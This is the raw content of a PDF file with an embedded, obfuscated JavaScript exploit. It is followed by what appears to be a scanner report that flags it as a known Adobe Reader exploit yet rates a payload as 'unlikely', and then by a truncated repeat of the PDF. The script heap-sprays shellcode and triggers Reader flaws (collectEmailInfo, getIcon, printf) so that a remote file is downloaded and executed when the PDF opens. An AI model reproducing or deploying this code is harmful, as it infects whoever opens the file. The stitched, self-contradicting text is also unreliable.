�lj)��3�K[� � �= �g � r�De~ ���z��xA1�|V���d�"� �<<J���v8qA���:	d� � �s>��ݴԀzU} ����l$���$��s l�?�  �
9�f t�rs掞� /���� �� Z�?ຆ�A����n�zUqE�{��R_�mV� P}�� } v�.9t^"��� ��8����/ ��##� ��� �3�� �6=�`#�
|
-u%7��;w Z�)5gp�W��� g^魜ݛ� h �B���h`�{�	Dִ�l�>�t,)x �� gz<�Շ�:��56sر���W���2Ut�B���ܧȜy�fL y��ܿ�� ����SKJ�7��*c���
2 �à0%�*YW��D �8 �{�[� �y�'*���� r�^L2����% � f���^�J��Ͽ�g�Ͽ];b���0 _r��}k��E��Uy]���ʔ׵L۪R��@��Y�ލ��� ^>%�c_ ���I���j ��*�� �� �?�M#o���x�=��� ��/� :>D�h�d�מ�� }�{���
% �� g?~�4��d�G�9�O � ;�3�  ֯��O·����������E�9;g���W��l [  Y+5Uvv�`o�+� _
?p�.���i���-�#^�:Y Ӱy ��� �-� �`�@� ,��oHc)��������W���  xj�
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 382>>
stream
x��S�R�0 ��+�� ��$%m� QNjڛ㡥��� Z��_�bAA  q�æ�vw���
g��38��2<<�'! ��N/D�B�c�# c :��O�-'�p� P �� �+���}��Ĩ@�J�_�MwA� �� � 8��JAu��3م �I a���qe̥�����g� ��� t��_@� ? ��[P;[��r���S� ʙVxv �,sV +���/}7\G��y����]ˑ$�D��L (� I�6� �pn ��~{�=�� E2�V��\��� Y4��D��� _�t/�iYa�T1�0����)� � U � i�Č��� �S�|J�'�ʴFb__鷍i[5E�夬
�i��p6�.��� �Tj�ϖ��UG ȭ � � t��=�R   �[2 !� � �	
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
]
/Count 3
>>
endobj
9 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
10 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
11 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
12 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2258>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�(��� (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�A8 5 27� ƕ�h��B
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(�� �p�3��j���ƛCUv�Ө��7p��)QE QE QE QE QE QE QE QE QE QE QE QE QE QE QHH��T_j����	���x�8V�Ҥ� �(� �����lLZ(��^ڌ(��2qL �I  �ÚP�6 ��Of �a�5iw%�  X�J�R �*:��^�L(��c
(��
(��
(��
(��
(�$I8 � ��o�  c� O �* C�i�vc���B
(��
(��
(��
(��
(��
(��
(��
(��
(�� �q��� �1.��+D����Fބ ��P46 2\nU ��_�B)!�(���E]� 
(��  Q@  Q@  Q@ Y }ǥ >�`S(�w��-% Vij�mB�(�((��(��(��(��*9�I )8 u�) C)R2 QL �I�6 � H ?έYL�#  � '�!�~o�j�q�K�  6�M�:�(�$(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�'
O�A�1�* ��Ql���b� �� )jI
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
��䑱 �OER����v �� Ө���M�݅ QHAE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 11 0 R
/F2 12 0 R
/F3 13 0 R
>>
/XObject <<
/I1 14 0 R
>>
/Properties <</OC1 9 0 R /OC2 10 0 R>>
/ExtGState <<
>>
>>
endobj
15 0 obj
<<
/Names [(EmbeddedJS) 16 0 R ]
>>
endobj
16 0 obj
<<
/S /JavaScript
/JS (��function q5TeDahU7\(hJNey0R8q,knSopuO6h,hMvn4cI0ZI\){}var sF4vJtwY8=null;function tBldhzHcY\(v0dX0adJ\){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array\(\);var hzoXWf2zMR;function xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\){while\(sR4ZJ8w7ci.length * 2 < kIkwRkWL\){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring\(0, kIkwRkWL / 2\);return sR4ZJ8w7ci;}function kKsdhSU26\(tNydZuOK\){if\(tNydZuOK == 0\){var h8qcONPj = 0x0c0c0c0c;}else if\(tNydZuOK == 1\){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array\(\\"%u535\\",\\"0%u5251%u\\",\\"5756%u9c55\\",\\"%u00e8%\\",\\"u0000%\\",\\"u5d00%ued\\",\\"83%u310\\",\\"d%u64c\\",\\"0%u4003%u7\\",\\"830%u8b0c%\\",\\"u0c40%u70\\",\\"8b%ua\\",\\"d1c%u408b\\",\\"%ueb08%u8b\\",\\"09%u3440%\\",\\"u408d\\",\\"%u8b7c%u\\",\\"3c40%u5756\\",\\"%u5ebe%u\\",\\"0001%\\",\\"u0100%ubfe\\",\\"e%u014e\\",\\"%u0000%uef\\",\\"01%ud6e\\",\\"8%u0001%\\",\\"u5f00%u8\\",\\"95e%u\\",\\"81ea%\\",\\"u5ec2%u\\",\\"0001%u5200\\",\\"%u8068%u\\",\\"0000%u\\",\\"ff00%\\",\\"u4e95%u00\\",\\"01%u8900%u\\",\\"81ea%u5ec2\\",\\"%u000\\",\\"1%u310\\",\\"0%u01f6%\\",\\"u8ac2%u\\",\\"359c%u0\\",\\"263%u0000%\\",\\"ufb80%u740\\",\\"0%u8806\\",\\"%u321c%u\\",\\"eb46%\\",\\"uc6ee%u32\\",\\"04%u890\\",\\"0%u81ea\\",\\"%u45c2%u00\\",\\"02%u5200%u\\",\\"95ff%u\\",\\"0152%u000\\",\\"0%uea\\",\\"89%uc281\\",\\"%u0250\\",\\"%u000\\",\\"0%u5052%u\\",\\"95ff%u01\\",\\"56%u00\\",\\"00%u00\\",\\"6a%u00\\",\\"6a%uea89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%u78c2%u\\",\\"0002%u5200\\",\\"%u006a%ud0\\",\\"ff%u0\\",\\"56a%uea89\\",\\"%uc281%u01\\",\\"5e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001\\",\\"%u8900\\",\\"%u81ea%u\\",\\"5ec2%u0\\",\\"001%u5\\",\\"200%u8\\",\\"068%u00\\",\\"00%uff\\",\\"00%u4e95%u\\",\\"0001%u8\\",\\"900%u8\\",\\"1ea%u\\",\\"5ec2%u0\\",\\"001%u3\\",\\"100%u0\\",\\"1f6%u\\",\\"8ac2%u359\\",\\"c%u026e%u0\\",\\"000%ufb80%\\",\\"u7400\\",\\"%u880\\",\\"6%u321c%\\",\\"ueb46%u\\",\\"c6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c\\",\\"2%u0002%\\",\\"u5200%u95\\",\\"ff%u0152%u\\",\\"0000%uea89\\",\\"%uc281%u02\\",\\"50%u000\\",\\"0%u5052%u9\\",\\"5ff%u01\\",\\"56%u0\\",\\"000%u006\\",\\"a%u006a%ue\\",\\"a89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%ua6c2%u\\",\\"0002%u5\\",\\"200%u006a%\\",\\"ud0ff%u\\",\\"056a%\\",\\"uea89%u\\",\\"c281%u01\\",\\"5e%u000\\",\\"0%uff52%u5\\",\\"a95%u0\\",\\"001%u9d00%\\",\\"u5f5d%\\",\\"u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%u000\\",\\"0%u6547%u5\\",\\"474%u6d65\\",\\"%u5070%u74\\",\\"61%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%\\",\\"u6269%u\\",\\"6172%u\\",\\"7972%u0\\",\\"041%u65\\",\\"47%u50\\",\\"74%u6f72\\",\\"%u4163%u\\",\\"6464%u6572\\",\\"%u7373%\\",\\"u5700%u\\",\\"6e69%u78\\",\\"45%u6365%\\",\\"ubb00%uf2\\",\\"89%uf78\\",\\"9%uc03\\",\\"0%u75a\\",\\"e%u29fd%\\",\\"u89f7%u31\\",\\"f9%ubec\\",\\"0%u00\\",\\"3c%u00\\",\\"00%ub\\",\\"503%u\\",\\"021b%u000\\",\\"0%uad66%u8\\",\\"503%u02\\",\\"1b%u000\\",\\"0%u708b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u0\\",\\"000%u\\",\\"bd8d%u021f\\",\\"%u0000%u03\\",\\"ad%u1b\\",\\"85%u0\\",\\"002%uab0\\",\\"0%u03ad%u\\",\\"1b85%u000\\",\\"2%u500\\",\\"0%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab%\\",\\"udb31%u56a\\",\\"d%u850\\",\\"3%u02\\",\\"1b%u0000%u\\",\\"c689%\\",\\"ud789%u\\",\\"fc51%ua6f\\",\\"3%u7459%\\",\\"u5e04%u\\",\\"eb43%u5\\",\\"ee9%ud19\\",\\"3%u03e0%u\\",\\"2785%u000\\",\\"2%u31\\",\\"00%u96f6%u\\",\\"ad66%u\\",\\"e0c1%u030\\",\\"2%u1f8\\",\\"5%u000\\",\\"2%u8900\\",\\"%uadc\\",\\"6%u8503%u\\",\\"021b%u0000\\",\\"%uebc3\\",\\"%u0010%u0\\",\\"000%u0\\",\\"000%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u0000%\\",\\"u8900%u1b\\",\\"85%u000\\",\\"2%u56\\",\\"00%ue85\\",\\"7%uff58%u\\",\\"ffff%u5e5f\\",\\"%u01ab\\",\\"%u80ce%u\\",\\"bb3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4\\",\\"f4d%u\\",\\"2e4e%\\",\\"u4c44%u\\",\\"004c%u5\\",\\"255%u4\\",\\"44c%u776f%\\",\\"u6c6e%u61\\",\\"6f%u5464\\",\\"%u466f%\\",\\"u6c69%\\",\\"u4165%\\",\\"u7500\\",\\"%u6470%u\\",\\"7461%u2e6\\",\\"5%u7865%u\\",\\"0065%u\\",\\"7263%u73\\",\\"61%u2\\",\\"e68%u6870\\",\\"%u0070\\",\\"%u7468%u\\",\\"7074%u2f3\\",\\"a%u69\\",\\"2f%u6b6e%u\\",\\"616b%u\\",\\"2e6b%u\\",\\"6e63%u6\\",\\"52f%u\\",\\"746e%u7265\\",\\"%u752f%u\\",\\"6470%u7\\",\\"461%u2e\\",\\"65%u68\\",\\"70%u3f70%\\",\\"u6469%u333\\",\\"d%u7226%u7\\",\\"465%u6f3\\",\\"d%u006b%u9\\",\\"000\\"\);awn5fmmtY = unescape\(awn5fmmtY.join\(\\"\\"\)\);var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - \(mTcRGdIAFp + 0x38\);var sR4ZJ8w7ci = unescape\(\\"%u9090%u9090\\"\);sR4ZJ8w7ci = xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\);var lFu82BhUm = \(h8qcONPj - 0x400000\) / fK2iJohU;for\(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++\){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K\(\){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString\(\);app.clearTimeOut\(hzoXWf2zMR\);if\(\(e8ooaAyfX >= 8 && e8ooaAyfX < 8.102\) || e8ooaAyfX < 7.1\){kKsdhSU26\(0\);var lCnTk4BeM = unescape\(\\"%u0c0c%u0c0c\\"\);while\(lCnTk4BeM.length < 44952\) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\\"collabStore\\"] = qb7cGlrfF2[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : lCnTk4BeM}\);}if\(\(e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104\) || \(e8ooaAyfX >= 9 && e8ooaAyfX < 9.1\) || e8ooaAyfX <= 7.101\){try{if\(app.doc.Collab.getIcon\){kKsdhSU26\(2\);var dl0wQ8RB3 = unescape\(\\"%09\\"\);while\(dl0wQ8RB3.length < 0x4000\){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \\"N.\\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(dl0wQ8RB3\);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch\(e\){aNe5YykKME = 1;}if\(aNe5YykKME == 1\){if\(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1\){kKsdhSU26\(1\);var r9AIMNUS4 = \\"12999999999999999999\\";for\(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++\){r9AIMNUS4 += \\"8\\";}var quiIRMbc = util;quiIRMbc[\\"printf\\"]\(\\"%45000f\\", r9AIMNUS4\);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut\(\\"app.rjO2bASA3\(\)\\", 10\);';function q34u6su2\(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ\){return ioMR5gz7V;}function rmkqJzTi\(fUhFEtZWm,qMyxid01F,dMPLrGrK\){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace\(/[]/g, ''\);this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array\('m2B1rLly','ppm3V2roF'\);var aKcHThxsm = 'eval';app[aKcHThxsm]\(rH5ljG0VLS\);oKegsvZN="j01zyiXE";function q1HkXnUMs\(jU3hrtuz,nHErrrAz\){}var mnvrrMP0i=new Array\(\);mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;)
>>
endobj
17 0 obj
<<
/Title (��normalAlwaysTheir)
/Author (��theWhenBe)
/Subject (��aldusThoseDummy)
/Keywords (��areUsesThis, hereRootsLooks, makingEtTrue)
/Creator (��formTookYou)
/Producer (��9b8ef27229c42198631813f1d2f60aaf)
/CreationDate (D:20091020175329+04'00')
/ModDate (D:20091020175329+04'00')
>>
endobj
18 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 15 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [9 0 R 10 0 R] /D <</ON [9 0 R] /OFF [10 0 R] /AS [<</Event /Print /OCGs [9 0 R 10 0 R] /Category [/Print]>> <</Event /View /OCGs [9 0 R 10 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 19
0000000000 65535 f 
0000007464 00000 n 
0000010512 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000003517 00000 n 
0000003625 00000 n 
0000006904 00000 n 
0000007012 00000 n 
0000007534 00000 n 
0000007649 00000 n 
0000007763 00000 n 
0000007870 00000 n 
0000007979 00000 n 
0000008087 00000 n 
0000010706 00000 n 
0000010758 00000 n 
0000023354 00000 n 
0000023784 00000 n 
trailer
<<
/Size 19
/Root 18 0 R
/Info 17 0 R
>>
startxref
24182
%%EOF
generic_stage_recovery_006.js deobfuscated-js generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 18269 bytes
SHA-256: 606eaa852241149dc5f1d6c1bf8b673729570d4d36de25ae7358eae324fb22a0
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 3329>>
stream
x��\�r�6 ��+z����(zX�Y��L � g�� $!  H���h���d_�6Ňl\�Urb]J  ��t 48�,�TҔ~�kO ��� x��Wx�� }��V���v������f�ƛ4�-&�->3��j����|���z=�L����� f����� _ ����i� >� �N���!�{f��d~K��r2_�]@ �cg��YZ��Q� �Ew����n�|�o��rA��v�ڜo���|o��Wu���N'�%�7� ^� � �>�y�՟~z���xNW� ��y�0�  Ym&�-Ŵ\¤˧�5�N7������~�Z;=:� f���t�Ҍ"S$ e�1)�&�	�� &���2' �\��s��g$i �T�~D6;�t�*�,�"�Џ iM��K�S��DI�R ���3:
[� S.��J����LN�ǰ 	ER���'���*�&��� �0�� ��V������v{����{��~Y��Dv �  m�!���((D ++�23
�  R�� �-0�<26�X ʟ��T U 
��xGů�W �<�Lh Pn�� V� �g VN+O ���`YD,��Ri�(�(3J�9�l�Q{� �Jdy6�_�� ne��H��� ��팱��]�l���^���@ �Ӧ� 3�N�k^�� ��h� ��J��W!4�UGɋ�o�ٵD8��% ��b��n�W��I�&# �V xAXh�� �W$�G�_x� �?�T σ�cy?Ia)� ?� ~�� �s�|�g�I��
 � 7�j�#�T�I%�"�E�)3I� ��  �0ۮ�N�?���G�NE;�ː !��k����в"s�Pw:�i�� | �Y{
>�ٓ!@.Q�^P�K�i��%� K0�  �QjiM �#�h_��	�k��ߋ0������P R]� �&Gy���G ��c� x
L@	.��V 9j�	"�W�,G`? D�Ā �ۖ]%6
����vB?+Ƃ,)<`�O ��K��[m�( �q�F�m 0 $;p� DL�,�� ���:�� �D{�o��KYt��&�$ �C 0$�&�@~y�[A   6V!i#v�┃� Q�M �P�ǁ�� ���G2pi�M i��� �P�  ��# p �
��� B�� ��u ����� V��� ��e`�� 7�{T �BH{��  T�Qw�=dX"F�ҋ��6r@J��C�vFu��M d� � �2� �$0>�b���� VH�+ �L
#r'��a�> -� �Œ�]=� 4_&9<AqR� �] � y�ތ�A5 p2m% �˹�c� �a/��/s�����W�B; �21�dn ��)� V 2�5�ur� ���;� �!e��!�r*J��6��/
�� \ m^G/s  	�CdX^װ�Q+� |�C� ��z�iB/)"6Z�q�p ��]I� �vi�Y �]Ԁ  �X$�Y �!�-b� k �#7 
�CSf����҆�n�]C@ )�� �%;�N �!Q;Ie��;�85�P�eo]�r:�m � ��K��o >+ kQ�?��#�B�ԩ����<}XO�>b�  � �� !ܐ )�i�U�ri�M �/44��n�]�� Nq;�:R.�h��rf�m�  � ̱����ٹ� �sF'��+��P\�mUG�K� �I��ԑ b��9,ףj��<D �ғۣ>�J� ��|��d�q�� ߃Qm� ^<����������n��N�ŲF� O +�� ��#�oO��� O�g��v�Sy��t�w� q[�A+UdJ#)4:(��   #� ��wZ�/ � �ȗ� x�,E5���� ��Q��Pۮ � 9�D"ϘY�Q���I   ����sy��h�:���F.� �^
�� �� ����W*	(E� 8- �� �QG�� ��������m�6\Fzz�[&5 ;5Y� �8�̱ �|f��Cb F0�=.��yꌾ�` ���l��ۛ� �ÉCQ�l_` ��Y��s �syn�j���U9�� � 0/()��F38?��0:|��r /�,P�z ���p��d�9'���l�p	H]��v�� oJ  �O��#��ՠ  p�H%�R�x�����M
 ��"$-9#�ɈCC�� J��vBu`����PC��f��T��A� ߲w�r��F0^d���ty��3� Ơ��*�%�w:�Uk � ��ޚ��c��E�.�)�eݎ����[���g�ѫ�\ObW�M?�A>�Tx�I�:<mD��h�~�#*�l� 5b ���J�)o  �N �W0S � he�Ϳ1��$��

"⤇�4N�q��X����t�!��� ћ�7��O,����B�������0� ��[ۜ:x��� � 1�8�U�G:p&7ۮ�o-'\ ��wT -�=�^=X<�bl91l����C���X�vk�H���.�|��2 H"= �o� �f� �-� ����8@aD�
 ��_X��"���7N-W�� ��b � �>��u ��9��F�Ӿ蒆:U���N ���TF |�$�N ���	6z�.���+��F?T �j��t f�E@�= !kV�d� �bP�"!��<�I�n
Ե_�*%gLC �J� !�� �)8/ �&�L� (��7p_�?��٥� 
_����# g47�\"UDB�)|�j����X}���� �}ײN ���$� N��N���5J��W��ݲ�zW�m�}OG�Sk̻ /[���pfϚ����!���� ��5��zC�&�>j�f D���N�{L�8�  �>� ��]L{vw��@�� �+<�`��b�Ю����h�'y � �m{��*?.���� �l��:�< *ͽ&���|l� v ap?� 06���$��h2M�vi�F�հ��ơ�7��#X @ �DfZ �%ז���QY%�K�5��2xMڕK�_W|o �; �rj���s��� `�Qm*.G�h�z���r�� �$� | ��   �x�|�� =8�z�ߣ�ѩ�jooG����� 
Z���[O֖B r��� ���2�H�Y��� ǚ�G�N� �l�ni��~�Y�G�c��b+$`�r��   �g����n�V��hM���x�����(9� b���:��<��E~� � ��Ë??P��m����p�  ��S
N�Z&' K> �g�k �0����	�S X��?ی<%��[��n�1 �=2% ���l�Z��b�Ƨ! Q�r �� s� � za��� `�������| ԾV��{_�G%
 C]�t��� }��X Ł &T��7qY  ��#����CnmwY���w9������߆s.
�h  �  �F�{ p��/�B��f ���(=�K�Bʊ�� ���Y�Cl�Lñ� �܏��{�z�yxǥ� =cc��糽ϓ Za1�T ��B���g/۟ ��rM���'~>�!5��eŢ-� �]�x���C�NM5�i\W� c�+� �B{ �CI���i�vh�mS� �Ύ����Q��) �l_��P��l��2md ���ڡ�`ywhK��fߛ�z����zu 7N�5� И�􅛧'��^<*�k<Sv��,��#e� � e;L�\N6 $� d�'ۥ"�4�oiј��'��� � �5
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 3208>>
stream
x��\Is�8 ��W|���9 ���2Ǯ�ӓ�Cw�s�� HB$$�PR2���ArBؒ��AlW9�M�����m�( 紧 }�����  %�������;z�˄f�hDw+�pw����� �4 O�� � Q8 fK�� ���q0�P�ӻ��齢?� � ����Q� �� �����S�}Ƴy0���8 &3�K� �4�r�?����t�	���Чk~�C�)͗�`�8>T �z���7���CG�"��
�����}�}|rsz��  �~����g ���F�x��� �xI9�!D ~���?�揎]����'����B�it ӝ*�$�6�T)eU. JU�i�YA;nJC�E�Q��) �̙�T��S �& K�Z +j2�ړ��-� ��yIrG ^�4^�F=? i�7��Fl)f�( �E �d�O 2U�� L�8�v�+�⍽_rjZ�Qb�`�(��}M /⌶\a]L� ��� *��5�Lo �H!�B k Ї��5I�U�E[��+b%� ɊS~Oq�
��e@�Y�r��k�(eB�VV�����{<T���I��I�R�S�ϭ��~3��"2VoБJ� $V�ٮ��HYS�R�*m�/�� �tΆHBw�L�t�� �2�	 j do��+.���*2�b��t�'#�2%�
��XNS*����"��lEi��b%JR��DUQ	1�d �DZ4�?��J��� �K�b�οY dVf�
6YBy��$��0mkK�H���P^� ��	UE,9Dw Ad�1��U�   J�b  ��2��/xl���e �G) n��2��? i � � ��R3*sJ4�` * pP�� ?3�!.� ��  ��e&� *g�>G�M'  �wQf�(&��bz�i�   � �a  ��)�Bi��wSCqRD"Q �`�,g�Xw�`����:  �	l�`�0�� �y��\�=��� �� �{]��q��2m
~�  �9 ���km!  �? �J D��9 �� �ฮ"���ɗJ�q'.���z�Vlj�{ 5>6hM} �
Ձ( �]�+$�
��ʯV � ���>� ��VW1?�� �6[6���, 1x�������� �Y `O��"� ��ig�e  � �.b�a� H��� ��Xo�� q �� r��5� b�T� iue ��V�O�x�� F����!�  l$� ���lmc��m�*��  � ܢ !����;  *  �v��o�0 WZk)�ڴ�o@��/REA& �<G��5ലf �&Б�|�m�� q  L�\B��� tn���o �g� szb/5qv |=@q ����MM ��� � �*\c6V�[k$ �� �~w���i �Ll��P Ɣ�H � 1@��el'�6<�@�
�T�`n�K��(O��T ��UN��a�^7 6�ۉ�^ r�x�Y�H �
H+��  ��O �#��E �N��=�O��.H��ϩ�'�^I���t6p [�9rR� �RmjՋ9�JGv� ����3 � �1$��*"'*�� �.d�8G_��� w� �	.��t����3�������\ )] �|�Sd�ƍ�֐��pԸ���Թ$"�, ��#%�I�[  p  �TH� ��J�9���K�� p�L�*ͮ*L�� �,e{�#�l�� ҇�E�#�8�4x Y�l<�ijrZw2��XW&�$��(�<�
���&-  � � ��c����
 �G��p�|�N >M-\4n߫|   #� �j>�<I�lABظ 9 L� ��0�N��" �2X   �-�uQ�� �  Oa�R%u�|�<J� ݼA��z�	5�Jr� \� n ~� �
@)c~�1�7�r�� eD0V�`%��N,�/ꅳ�A��u-��� �O� ���]Nc.^�n@Se ����NO{*ψ���	� �u����$�l��I+��~	b Ē�9�+ � H�|
o�TG 	Y{ ���: � �) Ā<ɖP��~9tܸkw���e��� �9 G ����ѡv�]��*� U~P�+ 
c�ӆ�햇�z  '��  � �2.� � ,z �����&�x�t�����C ��y�55�],�F��v1i/}u4�; >Vb �bk` �z}EE���*�q{<	7* |�3Xnf1e��~m� "߉gM ��7�د@v !���!3A��Û�xh��v���O�� g�Q�r��-r�į  �u �2�~�FD ٵ�Q1+  � {�  ��|�bkPgh,n��9O8^5� *]�� K���Z�!B4[ �¯�H�y�E9Tj[qX� � 	�\��*; 9����)5gN)WyΠ��k
~�� ]��_E@� @�J �R	L3}�z�w+n��el
0P �K� �Y05��
ܻ�u:�5�/���ܣ3H4���Ms!��>�U���`|nۙ- 2^�Uq�<[�� O�v��#�x��ԙ+z�R�t��Rҁ�h%�� Mp���������=�=�q��j��9 �O�9�:��� Syա3 ��Zə� u �� ��[����u�vqH
�uD��>�j�t �_�Mz`�F�s �� � �� �}Yva�1��~�O6�Slά��A��5�u�哝��\�k< U� �5�aa��V��`ާȜ��v�=[�q�� ��75�4u�y� ��� �<   {�xju�� ��{�3,m�S{�k£3x��  L�  _��? G� ڧМA��5 � �%��&��ثnG/��}�l����f"巻>qF^ � me'� � �w\W�rx
�lj)��3�K[� � �= �g � r�De~ ���z��xA1�|V���d�"� �<<J���v8qA���:	d� � �s>��ݴԀzU} ����l$���$��s l�?�  �
9�f t�rs掞� /���� �� Z�?ຆ�A����n�zUqE�{��R_�mV� P}�� } v�.9t^"��� ��8����/ ��##� ��� �3�� �6=�`#�
|
-u%7��;w Z�)5gp�W��� g^魜ݛ� h �B���h`�{�	Dִ�l�>�t,)x �� gz<�Շ�:��56sر���W���2Ut�B���ܧȜy�fL y��ܿ�� ����SKJ�7��*c���
2 �à0%�*YW��D �8 �{�[� �y�'*���� r�^L2����% � f���^�J��Ͽ�g�Ͽ];b���0 _r��}k��E��Uy]���ʔ׵L۪R��@��Y�ލ��� ^>%�c_ ���I���j ��*�� �� �?�M#o���x�=��� ��/� :>D�h�d�מ�� }�{���
% �� g?~�4��d�G�9�O � ;�3�  ֯��O·����������E�9;g���W��l [  Y+5Uvv�`o�+� _
?p�.���i���-�#^�:Y Ӱy ��� �-� �`�@� ,��oHc)��������W���  xj�
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 382>>
stream
x��S�R�0 ��+�� ��$%m� QNjڛ㡥��� Z��_�bAA  q�æ�vw���
g��38��2<<�'! ��N/D�B�c�# c :��O�-'�p� P �� �+���}��Ĩ@�J�_�MwA� �� � 8��JAu��3م �I a���qe̥�����g� ��� t��_@� ? ��[P;[��r���S� ʙVxv �,sV +���/}7\G��y����]ˑ$�D��L (� I�6� �pn ��~{�=�� E2�V��\��� Y4��D��� _�t/�iYa�T1�0����)� � U � i�Č��� �S�|J�'�ʴFb__鷍i[5E�夬
�i��p6�.��� �Tj�ϖ��UG ȭ � � t��=�R   �[2 !� � �	
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
]
/Count 3
>>
endobj
